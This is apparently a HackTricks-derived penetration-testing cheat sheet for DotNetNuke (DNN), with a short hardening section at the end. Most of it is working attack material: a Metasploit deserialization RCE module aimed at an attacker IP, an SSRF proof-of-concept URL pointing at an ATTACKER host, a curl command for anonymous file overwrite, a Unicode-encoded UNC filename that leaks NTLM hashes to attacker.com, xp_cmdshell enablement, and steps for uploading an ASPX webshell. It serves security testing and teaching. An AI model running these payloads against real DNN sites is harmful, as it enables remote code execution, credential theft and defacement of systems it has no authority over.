// HackTricks · Network Services

DotNetNuke (DNN)

DotNetNuke (DNN)

DotNetNuke (DNN)

If you enter as administrator in DNN it’s easy to obtain RCE, however a number of unauthenticated and post-auth techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work.


Version & Environment Enumeration

  • Check the X-DNN HTTP response header – it usually discloses the exact platform version.
  • GET /Documentation/License.txt is still useful for rough version fingerprinting on many deployments.
  • The installation wizard leaks the version in /Install/Install.aspx?mode=install (accessible on very old installs).
  • /API/PersonaBar/GetStatus (9.x) returns a JSON blob containing "dnnVersion" for low-privilege users.
  • Probe Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/ early: the default CKEditor provider is the attack surface behind the 2025 anonymous upload and NTLM-leak bugs.
  • Typical cookies you will see on a live instance:
    • .DOTNETNUKE – ASP.NET forms authentication ticket.
    • DNNPersonalization – contains XML/serialized user profile data (old versions – see RCE below).

Unauthenticated Exploitation

Affected versions ≤ 9.3.0-RC

DNNPersonalization is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution. For gadget details and payload structure, check this other page about .NET deserialization gadgets.[1]

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811, CVE-2018-15812, CVE-2018-18325, CVE-2018-18326). Useful operator notes:[1]

  • A reliable trigger is any path that reaches the built-in DNN 404 page; the Metasploit module defaults to /__.
  • In 9.1.1–9.2.1, Verified Registration leaks enough known plaintext ({portalId}-{userId} from the registration flow) to recover the weak DES-protected cookie material and re-exploit the bug.
  • In 9.2.0+, exploitation also needs a valid .DOTNETNUKE session cookie.
  • In 9.2.2–9.3.0-RC, userId became a GUID, so collecting several verification codes makes the offline key search practical again.
  • If self-registration is enabled, these “low-priv only” versions are still realistic Internet-facing targets.

2. Server-Side Request Forgery (CVE-2025-32372)

Affected versions < 9.13.8 – Patch released April 2025

A bypass of the older DnnImageHandler / remote-content validation logic enables an attacker to coerce the server to issue arbitrary GET requests (semi-blind SSRF).[3] Practical impacts:

  • Internal port scan / metadata service discovery in cloud deployments.
  • Reach hosts otherwise firewalled from the Internet.
  • Revisit older SSRF bug classes (CVE-2017-0929, CVE-2021-40186) during patch diffing, because the same image-fetching feature has been fixed multiple times.

The 2025 bypass was caused by prefix-based alias validation (portal.example.com incorrectly matching portal.example.com.attacker.tld) instead of exact host/path matching.

Proof-of-concept (replace TARGET, VALID-ALIAS, and ATTACKER):

https://TARGET/API/RemoteContentProxy?url=http://VALID-ALIAS.ATTACKER/poc

The request is triggered in the background; use Burp Collaborator / Interactsh or a simple HTTP listener and watch for callbacks rather than expecting a full response body.

3. Anonymous CKE Upload / Content Overwrite (CVE-2025-64095)

Affected versions < 10.1.1

The default HTML editor provider exposes Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx to anonymous users. By sending overrideFiles=1, an attacker can replace existing portal assets without logging in.[4]

curl -sk -X POST \
  'https://TARGET/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx' \
  -F 'file=@logo.svg;type=image/svg+xml' \
  -F 'storageFolderID=1' \
  -F 'portalID=0' \
  -F 'overrideFiles=1' \
  -F 'mode=Default'

In the default configuration this is usually an overwrite/defacement/stored-XSS primitive rather than instant ASPX RCE: uploads commonly land in Portals/_default/, and public PoCs note that the default editor path typically accepts images / SVGs instead of arbitrary server-executable extensions.

4. NTLM Hash Exposure via Unicode-normalized UNC filename (CVE-2025-52488)

Affected versions 6.0.0 – 9.x (< 10.0.1)

The same CKE upload surface can be abused with a filename that passes initial validation but normalizes into a UNC path later in the workflow.[5] Public writeups highlight fullwidth Unicode characters such as U+FF3C and U+FF0E, which become backslashes and dots late enough to re-introduce a path like \\attacker\share.jpg.

filename="%EF%BC%BC%EF%BC%BCattacker%EF%BC%8Ecom%EF%BC%BCshare.jpg"
# => \\attacker.com\share.jpg after normalization

That forces the Windows host to attempt outbound SMB authentication and leak NTLM material. Run Responder / ntlmrelayx and look for SMB callbacks instead of HTTP ones.

5. IP Filter Bypass (CVE-2025-52487)

If administrators rely on Host/IP Filters for admin portal protection, be aware that versions prior to 10.0.1 can be bypassed in reverse-proxy setups by manipulating forwarding headers such as X-Forwarded-For.[6] Test the protected login flow through the same proxy path normal users hit, not only by talking directly to the origin.


Post-Authentication to RCE

Via SQL console

Under Settings → SQL a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable xp_cmdshell and spawn commands:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

Via ASPX webshell upload

  1. Go to Settings → Security → More → More Security Settings.
  2. Append aspx (or asp) to Allowable File Extensions and Save.
  3. Browse to /admin/file-management and upload shell.aspx.
  4. Trigger it at /Portals/0/shell.aspx.

Before 9.13.2, DNN mostly validated uploads by extension and not by actual file contents. That means renamed PE files (for example a file beginning with MZ but named payload.jpg) could still be staged in the portal file store. By itself this is not IIS RCE, but it is a useful primitive for later overwrite / execution chains.


Privilege Escalation on Windows

Once code execution is achieved as IIS AppPool<Site>, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:

  • PrintSpoofer / RoguePotato / GodPotato when SeImpersonatePrivilege is present.
  • Token/service-account escape primitives such as SharpEfsPotato depending on OS build and patch level.

Hardening Recommendations (Blue Team)

  • Upgrade to at least 10.1.1. Staying on 9.13.8/9.13.9 only closes the older SSRF class and still leaves later HTML-editor attack surface unaddressed.[2]
  • If you must stay on 9.x, prefer the latest 9.13.x build and put the CKE browser/upload endpoints behind upstream access controls.
  • Remove residual InstallWizard.aspx* files after installation.
  • Disable outbound SMB (ports 445/139) egress.
  • Do not rely on DNN’s login IP filters unless the edge proxy overwrites forwarding headers.
  • Block access to /API/RemoteContentProxy if unused.
  • Consider denying direct Internet access to /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/ when the editor is not needed externally.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.